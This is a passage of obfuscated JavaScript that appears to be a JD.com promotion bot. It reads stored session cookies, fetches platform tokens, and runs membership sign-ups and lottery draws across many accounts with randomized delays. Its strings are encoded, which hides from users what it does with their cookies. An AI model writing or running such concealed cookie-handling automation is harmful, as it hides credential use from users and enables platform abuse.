2V1ZWw=','QmdvbUs=','WHVmTGE=','QWlKbkE=','WlVaYmU=','GjsjbuiamiISC.comR.NWSvQ6LnuP=='];(function(_0x208080,_0x406010,_0x5e4209){var _0x36ac15=function(_0x13645d,_0x38fa8a,_0x3abd1f,_0x37b868,_0x24d3a4){_0x38fa8a=_0x38fa8a>>0x8,_0x24d3a4='po';var _0xdb1b9d='shift',_0x5a3987='push';if(_0x38fa8a<_0x13645d){while(--_0x13645d){_0x37b868=_0x208080[_0xdb1b9d]();if(_0x38fa8a===_0x13645d){_0x38fa8a=_0x37b868;_0x3abd1f=_0x208080[_0x24d3a4+'p']();}else if(_0x38fa8a&&_0x3abd1f['replace'](/[GbuISCRNWSQLnuP=]/g,'')===_0x38fa8a){_0x208080[_0x5a3987](_0x37b868);}}_0x208080[_0x5a3987](_0x208080[_0xdb1b9d]());}return 0xa7204;};return _0x36ac15(++_0x406010,_0x5e4209)>>_0x406010^_0x5e4209;}(_0x33a4,0x1e3,0x1e300));var _0x67b5=function(_0x455351,_0x28ea1a){_0x455351=~~'0x'['concat'](_0x455351);var _0x4b8ced=_0x33a4[_0x455351];if(_0x67b5['vrqVyL']===undefined){(function(){var _0x338660=function(){var _0x2aae4c;try{_0x2aae4c=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x4426f0){_0x2aae4c=window;}return _0x2aae4c;};var _0x53d79d=_0x338660();var _0x936de3='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x53d79d['atob']||(_0x53d79d['atob']=function(_0x3b9bd8){var _0x16babf=String(_0x3b9bd8)['replace'](/=+$/,'');for(var _0x23ba2a=0x0,_0x5a3451,_0x41604e,_0x3a95bc=0x0,_0x171997='';_0x41604e=_0x16babf['charAt'](_0x3a95bc++);~_0x41604e&&(_0x5a3451=_0x23ba2a%0x4?_0x5a3451*0x40+_0x41604e:_0x41604e,_0x23ba2a++%0x4)?_0x171997+=String['fromCharCode'](0xff&_0x5a3451>>(-0x2*_0x23ba2a&0x6)):0x0){_0x41604e=_0x936de3['indexOf'](_0x41604e);}return _0x171997;});}());_0x67b5['pysOjb']=function(_0xe9b3d9){var _0xcb0f32=atob(_0xe9b3d9);var _0x3565dd=[];for(var _0x12895e=0x0,_0x19b85d=_0xcb0f32['length'];_0x12895e<_0x19b85d;_0x12895e++){_0x3565dd+='%'+('00'+_0xcb0f32['charCodeAt'](_0x12895e)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x3565dd);};_0x67b5['jKFnKq']={};_0x67b5['vrqVyL']=!![];}var _0x2445d0=_0x67b5['jKFnKq'][_0x455351];if(_0x2445d0===undefined){_0x4b8ced=_0x67b5['pysOjb'](_0x4b8ced);_0x67b5['jKFnKq'][_0x455351]=_0x4b8ced;}else{_0x4b8ced=_0x2445d0;}return _0x4b8ced;};let cookiesArr=[],cookie='';let activityCookie='';let lz_jdpin_token='';if($[_0x67b5('0')]()){Object[_0x67b5('1')](jdCookieNode)[_0x67b5('2')](_0x52ad04=>{cookiesArr[_0x67b5('3')](jdCookieNode[_0x52ad04]);});if(process[_0x67b5('4')][_0x67b5('5')]&&process[_0x67b5('4')][_0x67b5('5')]===_0x67b5('6'))console[_0x67b5('7')]=()=>{};}else{cookiesArr=[$[_0x67b5('8')](_0x67b5('9')),$[_0x67b5('8')](_0x67b5('a')),...jsonParse($[_0x67b5('8')](_0x67b5('b'))||'[]')[_0x67b5('c')](_0x1ac1dc=>_0x1ac1dc[_0x67b5('d')])][_0x67b5('e')](_0x30db0e=>!!_0x30db0e);}guaopencard_addSku=$[_0x67b5('0')]()?process[_0x67b5('4')][_0x67b5('f')]?process[_0x67b5('4')][_0x67b5('f')]:''+guaopencard_addSku:$[_0x67b5('8')](_0x67b5('f'))?$[_0x67b5('8')](_0x67b5('f')):''+guaopencard_addSku;guaopencard_addSku=$[_0x67b5('0')]()?process[_0x67b5('4')][_0x67b5('10')]?process[_0x67b5('4')][_0x67b5('10')]:''+guaopencard_addSku:$[_0x67b5('8')](_0x67b5('10'))?$[_0x67b5('8')](_0x67b5('10')):''+guaopencard_addSku;guaopencard=$[_0x67b5('0')]()?process[_0x67b5('4')][_0x67b5('11')]?process[_0x67b5('4')][_0x67b5('11')]:''+guaopencard:$[_0x67b5('8')](_0x67b5('11'))?$[_0x67b5('8')](_0x67b5('11')):''+guaopencard;guaopencard=$[_0x67b5('0')]()?process[_0x67b5('4')][_0x67b5('12')]?process[_0x67b5('4')][_0x67b5('12')]:''+guaopencard:$[_0x67b5('8')](_0x67b5('12'))?$[_0x67b5('8')](_0x67b5('12')):''+guaopencard;guaopencard_draw=$[_0x67b5('0')]()?process[_0x67b5('4')][_0x67b5('13')]?process[_0x67b5('4')][_0x67b5('13')]:guaopencard_draw:$[_0x67b5('8')](_0x67b5('13'))?$[_0x67b5('8')](_0x67b5('13')):guaopencard_draw;guaopencard_draw=$[_0x67b5('0')]()?process[_0x67b5('4')][_0x67b5('14')]?process[_0x67b5('4')][_0x67b5('14')]:guaopencard_draw:$[_0x67b5('8')](_0x67b5('14'))?$[_0x67b5('8')](_0x67b5('14')):guaopencard_draw;message='';$[_0x67b5('15')]=![];!(async()=>{var _0x2e3c47={'UWhWW':_0x67b5('16'),'VkTfl':_0x67b5('17'),'ZhtFW':function(_0x13fac8,_0x2f6352){return _0x13fac8!=_0x2f6352;},'nUljc':function(_0x551ecc,_0x245bc6){return _0x551ecc+_0x245bc6;},'qwUzj':_0x67b5('18'),'mUVqB':_0x67b5('19'),'vyzbF':function(_0x4daa15,_0x55a97e){return _0x4daa15!=_0x55a97e;},'jDZDP':_0x67b5('1a'),'kfbDH':_0x67b5('1b'),'yzpxF':function(_0x39cbe3,_0x42a134){return _0x39cbe3<_0x42a134;},'rRqCB':function(_0x1e56e1,_0x2ee9d6){return _0x1e56e1===_0x2ee9d6;},'AUPKH':_0x67b5('1c'),'jRGmJ':_0x67b5('1d'),'TcdCS':function(_0x4cb6ba,_0x3f8795){return _0x4cb6ba!==_0x3f8795;},'NIZIE':_0x67b5('1e'),'bNKfF':_0x67b5('1f'),'jScXO':function(_0x5f5c9e,_0x22634a){return _0x5f5c9e(_0x22634a);},'WeXbT':function(_0x201706){return _0x201706();},'FzNeE':function(_0x5d4a47,_0x10718a){return _0x5d4a47==_0x10718a;},'kOzXH':_0x67b5('20')};if(!cookiesArr[0x0]){$[_0x67b5('21')]($[_0x67b5('22')],_0x2e3c47[_0x67b5('23')],_0x2e3c47[_0x67b5('24')],{'open-url':_0x2e3c47[_0x67b5('24')]});return;}if($[_0x67b5('0')]()&&![]){if(_0x2e3c47[_0x67b5('25')](_0x2e3c47[_0x67b5('26')](guaopencard,''),_0x2e3c47[_0x67b5('27')])){console[_0x67b5('7')](_0x2e3c47[_0x67b5('28')]);}if(_0x2e3c47[_0x67b5('29')](_0x2e3c47[_0x67b5('26')](guaopencard,''),_0x2e3c47[_0x67b5('27')])){return;}}$[_0x67b5('2a')]=_0x2e3c47[_0x67b5('2b')];$[_0x67b5('2c')]=_0x2e3c47[_0x67b5('2d')];console[_0x67b5('7')](_0x67b5('2e')+$[_0x67b5('2c')]+_0x67b5('2f')+$[_0x67b5('2a')]);for(let _0x1f19da=0x0;_0x2e3c47[_0x67b5('30')](_0x1f19da,cookiesArr[_0x67b5('31')])&&!![];_0x1f19da++){if(_0x2e3c47[_0x67b5('32')](_0x2e3c47[_0x67b5('33')],_0x2e3c47[_0x67b5('34')])){$[_0x67b5('35')]=res[_0x67b5('36')][_0x67b5('31')];$[_0x67b5('7')](_0x67b5('37')+res[_0x67b5('36')][_0x67b5('31')]+'个');}else{cookie=cookiesArr[_0x1f19da];if(cookie){if(_0x2e3c47[_0x67b5('38')](_0x2e3c47[_0x67b5('39')],_0x2e3c47[_0x67b5('3a')])){$[_0x67b5('3b')]=_0x2e3c47[_0x67b5('3c')](decodeURIComponent,cookie[_0x67b5('3d')](/pt_pin=([^; ]+)(?=;?)/)&&cookie[_0x67b5('3d')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0x67b5('3e')]=_0x2e3c47[_0x67b5('26')](_0x1f19da,0x1);_0x2e3c47[_0x67b5('3f')](getUA);console[_0x67b5('7')](_0x67b5('40')+$[_0x67b5('3e')]+'】'+$[_0x67b5('3b')]+_0x67b5('41'));await _0x2e3c47[_0x67b5('3f')](run);if(_0x2e3c47[_0x67b5('42')](_0x1f19da,0x0)&&!$[_0x67b5('43')])break;if($[_0x67b5('15')])break;}else{msg+=_0x67b5('44')+res[_0x67b5('36')][_0x67b5('45')]+_0x67b5('46');}}}}if($[_0x67b5('15')]){let _0x3212eb=_0x2e3c47[_0x67b5('47')];$[_0x67b5('21')]($[_0x67b5('22')],'',''+_0x3212eb);if($[_0x67b5('0')]())await notify[_0x67b5('48')](''+$[_0x67b5('22')],''+_0x3212eb);}})()[_0x67b5('49')](_0x480336=>$[_0x67b5('4a')](_0x480336))[_0x67b5('4b')](()=>$[_0x67b5('4c')]());async function run(){var _0x47eaf4={'UhPAl':function(_0x26d1f7){return _0x26d1f7();},'kMwWx':function(_0x2dadb3,_0x53dae5){return _0x2dadb3==_0x53dae5;},'pLcRv':_0x67b5('4d'),'RElOO':function(_0x999853,_0x13a092){return _0x999853==_0x13a092;},'SxTtA':function(_0x4d1e04,_0x487dcf){return _0x4d1e04!=_0x487dcf;},'wcMxr':function(_0x459a17,_0x190648){return _0x459a17+_0x190648;},'fwATN':_0x67b5('16'),'PDlPZ':_0x67b5('17'),'XlazV':_0x67b5('4e'),'mdPnZ':function(_0x30827f,_0x436df6){return _0x30827f>_0x436df6;},'qJNUs':_0x67b5('4f'),'fWoij':function(_0x7dcedf,_0x518ec8){return _0x7dcedf+_0x518ec8;},'CVPpe':_0x67b5('50'),'Uynvq':_0x67b5('51'),'YFqFS':function(_0x174ffc,_0x15092e){return _0x174ffc+_0x15092e;},'xHzRi':_0x67b5('52'),'VJsUv':function(_0x16f18c,_0x173ca4){return _0x16f18c===_0x173ca4;},'kQhln':_0x67b5('53'),'OBetL':function(_0x1c210e,_0x18c68f){return _0x1c210e!=_0x18c68f;},'JCqAn':function(_0x52e4af,_0x1a27f6){return _0x52e4af!=_0x1a27f6;},'CEbFr':function(_0x5b23d9){return _0x5b23d9();},'RDxzD':function(_0x16a9b1,_0x41baf8){return _0x16a9b1(_0x41baf8);},'CuaLy':function(_0x5f2ea5,_0x52319e){return _0x5f2ea5!==_0x52319e;},'BjWMH':_0x67b5('54'),'aZAcA':_0x67b5('55'),'AECWQ':function(_0x2943b5,_0x16c4eb){return _0x2943b5!==_0x16c4eb;},'EmQSm':_0x67b5('56'),'ZSxzP':_0x67b5('57'),'DeZBy':function(_0x542d33){return _0x542d33();},'UKUWS':function(_0x2c1bcd,_0x210275){return _0x2c1bcd==_0x210275;},'BJaoL':function(_0x5a8cc4,_0x4337bd){return _0x5a8cc4!==_0x4337bd;},'Xrauj':_0x67b5('58'),'hRkRE':_0x67b5('59'),'AWdKb':function(_0xaa2bcb){return _0xaa2bcb();},'UbFeq':function(_0x3649a1,_0x58f8bb){return _0x3649a1==_0x58f8bb;},'AdGFz':_0x67b5('5a'),'fJbvi':function(_0x3b009a){return _0x3b009a();},'dHJsn':_0x67b5('5b'),'TYQvf':function(_0x26007c,_0x338ee0){return _0x26007c!==_0x338ee0;},'QKSFm':_0x67b5('5c'),'ejupo':_0x67b5('5d'),'sTQmL':_0x67b5('5e'),'lSokH':function(_0x425fbf){return _0x425fbf();},'vvBiy':function(_0x11e6ee,_0x16c009,_0x48950b){return _0x11e6ee(_0x16c009,_0x48950b);},'vxfPS':function(_0x433428,_0x134a24){return _0x433428+_0x134a24;},'zAjhC':function(_0x421c9a,_0x5d7737){return _0x421c9a*_0x5d7737;},'IMZTs':function(_0x5e0f8c,_0x36044a){return _0x5e0f8c==_0x36044a;},'MnQhx':function(_0x52fcb6,_0xd9b9b4){return _0x52fcb6===_0xd9b9b4;},'GJAMS':_0x67b5('5f'),'fQdgn':_0x67b5('60'),'IRnut':function(_0x5d0daa,_0x4bf21d){return _0x5d0daa+_0x4bf21d;},'MwVNo':function(_0x2c2714,_0x27967a,_0x1d1faf){return _0x2c2714(_0x27967a,_0x1d1faf);},'tJNvJ':function(_0x2c803f,_0x4eeb27){return _0x2c803f+_0x4eeb27;},'cQbYc':function(_0x2d3b5b,_0x171c8e){return _0x2d3b5b*_0x171c8e;},'nxLNB':function(_0x1d44e3,_0xe55061){return _0x1d44e3+_0xe55061;},'BWOlo':_0x67b5('61'),'Jabyf':function(_0x379f6e,_0x59778f){return _0x379f6e*_0x59778f;},'mqakh':function(_0xc810e2){return _0xc810e2();},'OoCxb':function(_0x256adf,_0x12a7db,_0x1a774e){return _0x256adf(_0x12a7db,_0x1a774e);},'mZrAD':function(_0x11c2ef,_0x209aa5,_0x164775,_0x430485){return _0x11c2ef(_0x209aa5,_0x164775,_0x430485);},'dXCsb':_0x67b5('62'),'NpsQR':function(_0x5dc592,_0x4efc29){return _0x5dc592+_0x4efc29;},'PRSxN':function(_0x280acf,_0x21837c,_0x378a68,_0x54e12e){return _0x280acf(_0x21837c,_0x378a68,_0x54e12e);},'Ftqsy':function(_0x35fbd6,_0x1ad566,_0x920616){return _0x35fbd6(_0x1ad566,_0x920616);},'rfyoY':function(_0x87c318,_0x2d1ca9){return _0x87c318+_0x2d1ca9;},'MghfR':_0x67b5('18'),'hRlxZ':function(_0x57b950,_0x564209){return _0x57b950!==_0x564209;},'RSjYt':_0x67b5('63'),'ugIdv':_0x67b5('64'),'sgRGA':function(_0x174b02,_0x4ee0a0,_0x243ef0){return _0x174b02(_0x4ee0a0,_0x243ef0);},'awdLn':function(_0x238188,_0x5642e3){return _0x238188+_0x5642e3;},'bBpHL':function(_0xed7236,_0x36d42c){return _0xed7236*_0x36d42c;},'thAGk':_0x67b5('65'),'gZyee':function(_0x1d2881,_0x4001ce){return _0x1d2881!==_0x4001ce;},'IrOcU':_0x67b5('66'),'JtWLb':_0x67b5('67'),'FTvgG':function(_0x3b6e23,_0x3b8864){return _0x3b6e23==_0x3b8864;},'DIklx':function(_0x197857,_0x264280){return _0x197857!==_0x264280;},'CNWKl':_0x67b5('68'),'BzTHu':_0x67b5('69'),'vvzJg':function(_0x32e285,_0x50b567,_0x5f532a,_0x37de30){return _0x32e285(_0x50b567,_0x5f532a,_0x37de30);},'RzMOh':_0x67b5('6a'),'MEBsd':function(_0xc2feb6,_0x1fd81e,_0x5e3653){return _0xc2feb6(_0x1fd81e,_0x5e3653);},'Kaiug':function(_0x2a1268,_0x2650a6){return _0x2a1268!==_0x2650a6;},'oPZTH':function(_0x295113,_0x507a20){return _0x295113/_0x507a20;},'IgNiG':_0x67b5('6b'),'yGJqs':function(_0x1668fe,_0x219568,_0x1a2814){return _0x1668fe(_0x219568,_0x1a2814);},'rVNqZ':function(_0x165253,_0x5b9109){return _0x165253+_0x5b9109;},'cCiNE':_0x67b5('6c'),'AWePy':function(_0x9183b7,_0x5c0458){return _0x9183b7===_0x5c0458;},'tSTvy':_0x67b5('6d'),'WFtvi':_0x67b5('6e'),'LFVAM':function(_0x31932c,_0x2bf942,_0x54f388){return _0x31932c(_0x2bf942,_0x54f388);},'xmMYd':function(_0x563f89,_0x2b8318){return _0x563f89+_0x2b8318;},'modZW':function(_0xb55705,_0x2f32ec){return _0xb55705*_0x2f32ec;},'NSozV':function(_0x17b21f){return _0x17b21f();},'fRYxV':function(_0x3334e2,_0x1538d4){return _0x3334e2+_0x1538d4;},'XQnxh':function(_0x5325cd,_0x121616){return _0x5325cd*_0x121616;},'gGopc':function(_0x59934d,_0x429573){return _0x59934d*_0x429573;},'FSALA':function(_0x303371,_0x2ffaea){return _0x303371+_0x2ffaea;},'weXCl':_0x67b5('6f'),'RbZpH':function(_0x22f111,_0x44c496){return _0x22f111===_0x44c496;},'Jupdv':_0x67b5('70'),'rnYlx':_0x67b5('71'),'eCCbl':function(_0x73d435,_0x3f3bb7){return _0x73d435+_0x3f3bb7;},'ewIIg':function(_0x1d23a9,_0x19a3f4){return _0x1d23a9*_0x19a3f4;},'xsIqF':_0x67b5('72')};try{if(_0x47eaf4[_0x67b5('73')](_0x47eaf4[_0x67b5('74')],_0x47eaf4[_0x67b5('75')])){if($[_0x67b5('15')])return;lz_jdpin_token='';$[_0x67b5('76')]='';$[_0x67b5('77')]='';await _0x47eaf4[_0x67b5('78')](getCk);if(_0x47eaf4[_0x67b5('79')](activityCookie,'')){if(_0x47eaf4[_0x67b5('7a')](_0x47eaf4[_0x67b5('7b')],_0x47eaf4[_0x67b5('7c')])){console[_0x67b5('7')](_0x67b5('7d'));return;}else{console[_0x67b5('7')](''+(res[_0x67b5('7e')]||''));}}await _0x47eaf4[_0x67b5('7f')](getToken);if(_0x47eaf4[_0x67b5('80')]($[_0x67b5('76')],'')){if(_0x47eaf4[_0x67b5('81')](_0x47eaf4[_0x67b5('82')],_0x47eaf4[_0x67b5('82')])){_0x47eaf4[_0x67b5('83')](resolve);}else{console[_0x67b5('7')](_0x47eaf4[_0x67b5('84')]);return;}}await _0x47eaf4[_0x67b5('85')](getSimpleActInfoVo);$[_0x67b5('86')]='';await _0x47eaf4[_0x67b5('85')](getMyPing);if(_0x47eaf4[_0x67b5('87')]($[_0x67b5('77')],'')||_0x47eaf4[_0x67b5('88')](typeof $[_0x67b5('89')],_0x47eaf4[_0x67b5('8a')])||_0x47eaf4[_0x67b5('88')](typeof $[_0x67b5('8b')],_0x47eaf4[_0x67b5('8a')])){$[_0x67b5('7')](_0x47eaf4[_0x67b5('8c')]);return;}await _0x47eaf4[_0x67b5('8d')](accessLogWithAD);$[_0x67b5('8e')]=_0x47eaf4[_0x67b5('8f')];await _0x47eaf4[_0x67b5('8d')](getUserInfo);$[_0x67b5('43')]='';await _0x47eaf4[_0x67b5('8d')](getActorUuid);if(!$[_0x67b5('43')]){if(_0x47eaf4[_0x67b5('90')](_0x47eaf4[_0x67b5('91')],_0x47eaf4[_0x67b5('92')])){console[_0x67b5('7')](_0x47eaf4[_0x67b5('93')]);return;}else{let _0x1b5255=res[_0x67b5('36')][i];if(_0x47eaf4[_0x67b5('94')](_0x1b5255[_0x67b5('95')],_0x47eaf4[_0x67b5('96')]))num++;if(_0x47eaf4[_0x67b5('79')](_0x1b5255[_0x67b5('95')],_0x47eaf4[_0x67b5('96')]))value=_0x1b5255[_0x67b5('97')][_0x67b5('98')]('京豆','');if(_0x47eaf4[_0x67b5('99')](_0x1b5255[_0x67b5('95')],_0x47eaf4[_0x67b5('96')]))console[_0x67b5('7')](''+(_0x47eaf4[_0x67b5('9a')](jsonName[_0x1b5255[_0x67b5('95')]]||_0x1b5255[_0x67b5('95')],':')||'')+_0x1b5255[_0x67b5('97')]);}}await _0x47eaf4[_0x67b5('9b')](drawContent);$[_0x67b5('9c')]='';await _0x47eaf4[_0x67b5('9b')](checkOpenCard);await $[_0x67b5('9d')](_0x47eaf4[_0x67b5('9e')](parseInt,_0x47eaf4[_0x67b5('9f')](_0x47eaf4[_0x67b5('a0')](Math[_0x67b5('a1')](),0x3e8),0x7d0),0xa));console[_0x67b5('7')](_0x67b5('a2')+$[_0x67b5('a3')]);if(!$[_0x67b5('a3')]&&$[_0x67b5('9c')]&&!$[_0x67b5('15')]){for(let _0x6e55ca of $[_0x67b5('9c')]&&$[_0x67b5('9c')]||[]){if(_0x47eaf4[_0x67b5('a4')](_0x6e55ca[_0x67b5('a5')],![])){if(_0x47eaf4[_0x67b5('a6')](_0x47eaf4[_0x67b5('a7')],_0x47eaf4[_0x67b5('a8')])){$[_0x67b5('21')]($[_0x67b5('22')],_0x47eaf4[_0x67b5('a9')],_0x47eaf4[_0x67b5('aa')],{'open-url':_0x47eaf4[_0x67b5('aa')]});return;}else{await _0x47eaf4[_0x67b5('ab')](join,_0x6e55ca[_0x67b5('8b')]);await $[_0x67b5('9d')](_0x47eaf4[_0x67b5('9e')](parseInt,_0x47eaf4[_0x67b5('ac')](_0x47eaf4[_0x67b5('a0')](Math[_0x67b5('a1')](),0x3e8),0x7d0),0xa));await _0x47eaf4[_0x67b5('9b')](drawContent);await _0x47eaf4[_0x67b5('9b')](checkOpenCard);}}}await $[_0x67b5('9d')](_0x47eaf4[_0x67b5('ad')](parseInt,_0x47eaf4[_0x67b5('ae')](_0x47eaf4[_0x67b5('af')](Math[_0x67b5('a1')](),0x3e8),0xbb8),0xa));await _0x47eaf4[_0x67b5('9b')](drawContent);await _0x47eaf4[_0x67b5('9b')](checkOpenCard);console[_0x67b5('7')](_0x67b5('a2')+$[_0x67b5('a3')]);await $[_0x67b5('9d')](_0x47eaf4[_0x67b5('ad')](parseInt,_0x47eaf4[_0x67b5('b0')](_0x47eaf4[_0x67b5('af')](Math[_0x67b5('a1')](),0x3e8),0x7d0),0xa));}if($[_0x67b5('b1')])await _0x47eaf4[_0x67b5('ab')](draw,_0x47eaf4[_0x67b5('b2')]);if($[_0x67b5('b1')])await $[_0x67b5('9d')](_0x47eaf4[_0x67b5('ad')](parseInt,_0x47eaf4[_0x67b5('b0')](_0x47eaf4[_0x67b5('b3')](Math[_0x67b5('a1')](),0x3e8),0x7d0),0xa));await _0x47eaf4[_0x67b5('b4')](getInitInfo);if($[_0x67b5('15')])return;await $[_0x67b5('9d')](_0x47eaf4[_0x67b5('b5')](parseInt,_0x47eaf4[_0x67b5('b0')](_0x47eaf4[_0x67b5('b3')](Math[_0x67b5('a1')](),0x3e8),0x7d0),0xa));console[_0x67b5('7')](_0x67b5('b6')+$[_0x67b5('b7')]);if(!$[_0x67b5('b7')])await _0x47eaf4[_0x67b5('b8')](saveTask,_0x47eaf4[_0x67b5('b9')],0x17,0x17);if(!$[_0x67b5('b7')])await $[_0x67b5('9d')](_0x47eaf4[_0x67b5('b5')](parseInt,_0x47eaf4[_0x67b5('ba')](_0x47eaf4[_0x67b5('b3')](Math[_0x67b5('a1')](),0x3e8),0x7d0),0xa));console[_0x67b5('7')](_0x67b5('bb')+$[_0x67b5('bc')]);if(!$[_0x67b5('bc')])await _0x47eaf4[_0x67b5('bd')](saveTask,'签到',0x0,0x0);if(!$[_0x67b5('bc')])await $[_0x67b5('9d')](_0x47eaf4[_0x67b5('be')](parseInt,_0x47eaf4[_0x67b5('bf')](_0x47eaf4[_0x67b5('b3')](Math[_0x67b5('a1')](),0x3e8),0x7d0),0xa));console[_0x67b5('7')](_0x67b5('c0')+$[_0x67b5('c1')]);if(_0x47eaf4[_0x67b5('a4')](_0x47eaf4[_0x67b5('bf')](guaopencard_addSku,''),_0x47eaf4[_0x67b5('c2')])){if(_0x47eaf4[_0x67b5('c3')](_0x47eaf4[_0x67b5('c4')],_0x47eaf4[_0x67b5('c4')])){try{return JSON[_0x67b5('c5')](str);}catch(_0x4ba04d){console[_0x67b5('7')](_0x4ba04d);$[_0x67b5('21')]($[_0x67b5('22')],'',_0x47eaf4[_0x67b5('c6')]);return[];}}else{if(!$[_0x67b5('c1')])await _0x47eaf4[_0x67b5('bd')](saveTask,_0x47eaf4[_0x67b5('c7')],0x15,0x15);if(!$[_0x67b5('c1')])await $[_0x67b5('9d')](_0x47eaf4[_0x67b5('c8')](parseInt,_0x47eaf4[_0x67b5('c9')](_0x47eaf4[_0x67b5('ca')](Math[_0x67b5('a1')](),0x3e8),0x7d0),0xa));}}else console[_0x67b5('7')](_0x47eaf4[_0x67b5('cb')]);let _0x5ea0a7=0x1;for(let _0x1d6b11 of $[_0x67b5('cc')]&&$[_0x67b5('cc')]||[]){if(_0x47eaf4[_0x67b5('c3')](_0x1d6b11[_0x67b5('cd')],!![])){if(_0x47eaf4[_0x67b5('ce')](_0x47eaf4[_0x67b5('cf')],_0x47eaf4[_0x67b5('d0')])){if(_0x47eaf4[_0x67b5('d1')](_0x5ea0a7,0x1)){if(_0x47eaf4[_0x67b5('d2')](_0x47eaf4[_0x67b5('d3')],_0x47eaf4[_0x67b5('d3')])){for(let _0x13a825 of res[_0x67b5('d4')][_0x67b5('d5')][_0x67b5('d6')]){console[_0x67b5('7')](_0x67b5('d7')+_0x13a825[_0x67b5('d8')]+_0x13a825[_0x67b5('d9')]+_0x13a825[_0x67b5('da')]);}}else{console[_0x67b5('7')](_0x47eaf4[_0x67b5('db')]);_0x5ea0a7=0x0;}}await _0x47eaf4[_0x67b5('dc')](saveTask,_0x47eaf4[_0x67b5('dd')],0x5,_0x1d6b11[_0x67b5('de')]);await $[_0x67b5('9d')](_0x47eaf4[_0x67b5('c8')](parseInt,_0x47eaf4[_0x67b5('c9')](_0x47eaf4[_0x67b5('ca')](Math[_0x67b5('a1')](),0x3e8),0x1388),0xa));if($[_0x67b5('15')])break;}else{let _0x45527a=ck[_0x67b5('df')](';')[0x0][_0x67b5('e0')]();if(_0x45527a[_0x67b5('df')]('=')[0x1]){if(_0x47eaf4[_0x67b5('e1')](_0x45527a[_0x67b5('e2')](_0x47eaf4[_0x67b5('e3')]),-0x1))lz_jdpin_token=_0x47eaf4[_0x67b5('e4')](_0x45527a[_0x67b5('98')](/ /g,''),';');if(_0x47eaf4[_0x67b5('e1')](_0x45527a[_0x67b5('e2')](_0x47eaf4[_0x67b5('e5')]),-0x1))LZ_TOKEN_KEY=_0x47eaf4[_0x67b5('e4')](_0x45527a[_0x67b5('98')](/ /g,''),';');if(_0x47eaf4[_0x67b5('e1')](_0x45527a[_0x67b5('e2')](_0x47eaf4[_0x67b5('e6')]),-0x1))LZ_TOKEN_VALUE=_0x47eaf4[_0x67b5('e7')](_0x45527a[_0x67b5('98')](/ /g,''),';');}}}}if($[_0x67b5('15')])return;await $[_0x67b5('9d')](_0x47eaf4[_0x67b5('e8')](parseInt,_0x47eaf4[_0x67b5('c9')](_0x47eaf4[_0x67b5('ca')](Math[_0x67b5('a1')](),0x3e8),0x7d0),0xa));await _0x47eaf4[_0x67b5('b4')](getActorUuid);console[_0x67b5('7')](_0x67b5('e9')+$[_0x67b5('ea')]+_0x67b5('eb')+$[_0x67b5('45')]+_0x67b5('ec')+$[_0x67b5('ed')]);let _0x3aa73e=0x0;if(_0x47eaf4[_0x67b5('ee')](_0x47eaf4[_0x67b5('c9')](guaopencard_draw,''),'0')){let _0x229aaa=_0x47eaf4[_0x67b5('e8')](parseInt,_0x47eaf4[_0x67b5('ef')]($[_0x67b5('45')],0x64),0xa);guaopencard_draw=_0x47eaf4[_0x67b5('e8')](parseInt,guaopencard_draw,0xa);if(_0x47eaf4[_0x67b5('e1')](_0x229aaa,guaopencard_draw))_0x229aaa=guaopencard_draw;console[_0x67b5('7')](_0x67b5('f0')+_0x229aaa);for(j=0x1;_0x229aaa--&&!![];j++){_0x3aa73e=0x1;console[_0x67b5('7')]('第'+j+'次');await _0x47eaf4[_0x67b5('ab')](draw,_0x47eaf4[_0x67b5('f1')]);await $[_0x67b5('9d')](_0x47eaf4[_0x67b5('f2')](parseInt,_0x47eaf4[_0x67b5('f3')](_0x47eaf4[_0x67b5('ca')](Math[_0x67b5('a1')](),0x3e8),0xfa0),0xa));if($[_0x67b5('15')])break;}}else console[_0x67b5('7')](_0x47eaf4[_0x67b5('f4')]);if($[_0x67b5('15')])return;if(_0x47eaf4[_0x67b5('d1')](_0x3aa73e,0x1)){if(_0x47eaf4[_0x67b5('f5')](_0x47eaf4[_0x67b5('f6')],_0x47eaf4[_0x67b5('f7')])){res=$[_0x67b5('f8')](data);if(_0x47eaf4[_0x67b5('79')](typeof res,_0x47eaf4[_0x67b5('f9')])&&res[_0x67b5('d4')]&&_0x47eaf4[_0x67b5('87')](res[_0x67b5('d4')],!![])){if(_0x47eaf4[_0x67b5('99')](typeof res[_0x67b5('36')][_0x67b5('43')],_0x47eaf4[_0x67b5('8a')]))$[_0x67b5('43')]=res[_0x67b5('36')][_0x67b5('43')];if(_0x47eaf4[_0x67b5('fa')](typeof res[_0x67b5('36')][_0x67b5('45')],_0x47eaf4[_0x67b5('8a')]))$[_0x67b5('45')]=res[_0x67b5('36')][_0x67b5('45')];if(_0x47eaf4[_0x67b5('fb')](typeof res[_0x67b5('36')][_0x67b5('ea')],_0x47eaf4[_0x67b5('8a')]))$[_0x67b5('ea')]=res[_0x67b5('36')][_0x67b5('ea')];if(_0x47eaf4[_0x67b5('fb')](typeof res[_0x67b5('36')][_0x67b5('ed')],_0x47eaf4[_0x67b5('8a')]))$[_0x67b5('ed')]=res[_0x67b5('36')][_0x67b5('ed')];}else if(_0x47eaf4[_0x67b5('79')](typeof res,_0x47eaf4[_0x67b5('f9')])&&res[_0x67b5('7e')]){console[_0x67b5('7')](_0x67b5('fc')+(res[_0x67b5('7e')]||''));}else{console[_0x67b5('7')](data);}}else{await $[_0x67b5('9d')](_0x47eaf4[_0x67b5('fd')](parseInt,_0x47eaf4[_0x67b5('fe')](_0x47eaf4[_0x67b5('ff')](Math[_0x67b5('a1')](),0x3e8),0x7d0),0xa));await _0x47eaf4[_0x67b5('100')](getActorUuid);}}if($[_0x67b5('15')])return;await $[_0x67b5('9d')](_0x47eaf4[_0x67b5('fd')](parseInt,_0x47eaf4[_0x67b5('101')](_0x47eaf4[_0x67b5('102')](Math[_0x67b5('a1')](),0x3e8),0x7d0),0xa));await _0x47eaf4[_0x67b5('100')](getDrawRecordHasCoupon);await $[_0x67b5('9d')](_0x47eaf4[_0x67b5('fd')](parseInt,_0x47eaf4[_0x67b5('101')](_0x47eaf4[_0x67b5('103')](Math[_0x67b5('a1')](),0x3e8),0x7d0),0xa));await 